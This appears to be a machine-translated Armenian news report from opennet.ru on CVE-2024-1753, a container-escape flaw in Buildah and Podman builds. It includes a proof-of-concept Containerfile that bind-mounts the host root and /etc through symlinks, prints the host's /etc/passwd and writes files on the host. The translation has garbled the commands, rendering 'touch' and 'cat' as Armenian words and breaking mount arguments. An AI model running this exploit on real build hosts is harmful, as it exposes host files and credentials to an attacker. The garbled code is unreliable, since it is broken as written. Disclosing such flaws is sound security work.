Buildah և Podman փաթեթներում հայտնաբերվել է խոցելիություն (CVE-2024-1753), որը թույլ է տալիս լիարժեք մուտք գործել հոսթ միջավայրի ֆայլային համակարգ՝ root արտոնություններով աշխատող կոնտեյների կառուցման փուլում: SE-ն միացված համակարգերում:Linux Հոսթ ֆայլային համակարգին մուտքը սահմանափակված է միայն ընթերցման ռեժիմով: Ուղղումը ներկայումս հասանելի է որպես թարմացում, որը վերջերս ընդունվել է Buildah կոդային բազայում:
Խոցելիությունը պայմանավորված է նրանով, որ RUN փուլում կառուցման ժամանակ «mount —bind» հրամանի միջոցով ֆայլային համակարգի մասերը մոնտաժելիս, աղբյուրի գրացուցակով արգումենտը («source=» պարամետրը) չի ստուգվում՝ տեսնելու համար: եթե այն գոյություն ունի արմատային ֆայլային համակարգում: Հարձակվողի կողմից ստեղծված Containerfile կազմաձևման ֆայլը կարող է օգտագործել կոնտեյների պատկեր, որում աղբյուրի տեղադրման գրացուցակը ձևաչափված է որպես արմատային ֆայլային համակարգի խորհրդանշական հղում: Այս դեպքում մոնտաժի գործողությունը կհանգեցնի կոնտեյների ներսում հյուրընկալող միջավայրի արմատային ֆայլային համակարգի մոնտաժմանը, որը RUN փուլում թույլ կտա լիարժեք մուտք ունենալ հյուրընկալող միջավայրի ֆայլային համակարգ և կազմակերպել ելքը կոնտեյներից: build օգտագործելով «buildah build» կամ «podman build» հրամանները:
Վնասակար Containerfile-ի օրինակ, որը կառուցված է «podman build -f ~/Containerfile» հրամանով: ցույց կտա /etc/passwd-ի բովանդակությունը և կստեղծի /BIND_BREAKEOUT և /etc/BIND_BREAKOUT2 ֆայլերը հյուրընկալող միջավայրում՝ FROM alpine որպես բազային RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo “ls կոնտեյների արմատը " RUN ls -l / RUN echo "Exploit-ով ցույց տուր հյուրընկալող արմատը, ոչ թե կոնտեյների արմատը, և ստեղծիր /BIND_BREAKOUT in / հյուրընկալողի վրա" RUN —mount=type=bind,from=base,source=/rootdir,destination =/ exploit,rw ls -l /exploit; հպեք /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo «Exploit show host /etc/passwd-ով, ոչ թե կոնտեյների, և ստեղծիր /BIND_BREAKOUT2-ը /etc-ում հոսթի վրա» RUN —mount=type=bind,rw,source=/etc2,destination=/ etc2, from=base ls -l /; ls -l /etc2/passwd; կատու /etc2/passwd; հպեք /etc2/BIND_BREAKOUT2; ls -l /etc2
Source: opennet.ru
